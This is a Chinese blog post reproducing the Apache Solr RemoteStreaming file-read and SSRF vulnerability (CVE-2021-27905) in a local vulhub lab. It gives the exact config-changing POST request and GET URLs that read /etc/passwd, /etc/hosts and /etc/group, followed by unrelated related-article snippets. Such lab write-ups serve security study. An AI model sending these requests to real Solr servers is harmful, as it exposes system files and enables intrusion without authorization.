[ vulhub漏洞复现篇 ] Apache Solr RemoteStreaming 文件读取与SSRF漏洞 (CVE-2021-27905)

news/2024/12/12 7:19:05/

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2021-27905环境
    • 2、启动CVE-2021-27905环境
    • 3、查看CVE-2021-27905环境
    • 4、访问CVE-2021-27905环境
    • 5、查看CVE-2021-27905漏洞提示信息
    • 6、关闭CVE-2021-27905环境
  • 五、漏洞复现
  • 1、修改配置文件
  • 2、读取etc/passwd文件
  • 3、读取/etc/hosts文件
  • 4、读取/etc/group文件
  • 七、漏洞修复
  • 八、相关资源

一、漏洞编号

Remote-Streaming-Fileread
CVE-2021-27905

二、影响范围

Apache Solr <= 8.8.1(全版本)

三、漏洞描述

Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。

四、环境搭建

1、进入CVE-2021-27905环境

cd vulhub/solr/Remote-Streaming-Fileread

在这里插入图片描述

2、启动CVE-2021-27905环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2021-27905环境

docker-compose ps

在这里插入图片描述

4、访问CVE-2021-27905环境

访问ip+端口

http://192.168.233.128:8983/solr/#/

在这里插入图片描述

5、查看CVE-2021-27905漏洞提示信息

cat README.md

在这里插入图片描述

6、关闭CVE-2021-27905环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、修改配置文件

发送如下数据包,修改数据库demo的配置,开启RemoteStreaming

POST /solr/demo/config HTTP/1.1
Host: 192.168.233.128:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 80{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

在这里插入图片描述

2、读取etc/passwd文件

http://192.168.233.128:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd

在这里插入图片描述

3、读取/etc/hosts文件

http://192.168.233.128:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:etc/hosts

在这里插入图片描述

4、读取/etc/group文件

http://192.168.233.128:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:etc/group

在这里插入图片描述

七、漏洞修复

升级为Apache Solr最新版本。

八、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)


http://www.ppmy.cn/news/1893.html

相关文章

[附源码]Python计算机毕业设计Django实验室管理系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

Spring - FactoryBean扩展接口

文章目录Preorg.springframework.beans.factory.FactoryBeanFactoryBean中的设计模式----工厂方法模式FactoryBean VS BeanFactory源码解析扩展示例Pre Spring Boot - 扩展接口一览 org.springframework.beans.factory.FactoryBean package org.springframework.beans.factory…

【git 介绍】AhuntSun

Git应用详解第一讲&#xff1a;Git分区&#xff0c;配置与日志 Git应用详解第二讲&#xff1a;Git删除、修改、撤销操作 Git应用详解第三讲&#xff1a;本地分支的重要操作 Git应用详解第四讲&#xff1a;版本回退的三种方式与stash Git应用详解第五讲&#xff1a;远程仓库…

19-29-k8s-基本命令-yaml-kubectl

19-k8s-基本命令-yaml-kubectl&#xff1a; Kubernetes 集群的命令行工具kubectl 1、kubectl 命令格式&#xff1a; kubectl [command] [type] [name] [flags] 参数&#xff1a; command&#xff1a;指定要对资源执行的操作&#xff0c;例如create、get、describe、delete t…

Thinkpad x13 锐龙安装 Archlinux 记录

硬件配置&#xff1a; 笔记本影响cpu显卡内存硬盘ThinkPad X13 锐龙版r7 4750U核显16g1TB 山寨固态&#xff08;大华&#xff09;镜像准备 https://archlinux.org/download/ http://mirrors.163.com/archlinux/iso/2022.12.01/ 每次安装都检查iso镜像是否是网站最新的&#x…

前端入门学习笔记四十七

<!DOCTYPE html> <html><head><meta charset"utf-8"><title></title></head><body><p>JavaScript 算数运算符</p><p id "a"></p><script>var x 9 9;document.getElemen…

模拟百度网盘

linux下基于多线程和tcp去实现了一个模拟网盘,实现cs之间的下载互传大文件,实现断点续传,秒传,利用md5进行校验,实时显示百分比 整体框架: 整个项目是在Linux环境下用C语言开发的,基于TCP协议,采用多线程的socket通信方式。 普通上传和秒传:客户端会先计算文件的MD…

浅析 em 和 rem

em 和 rem 都是相对长度单位 em 是相对于父级元素的font-size 大写来定义自身的大小 rem 是相对于根节点&#xff08;html{}, body{}, :root{}&#xff09;font-size来定义大小 Talk is cheap, show me the code !(空谈无用&#xff0c;上代码) em <html><head>…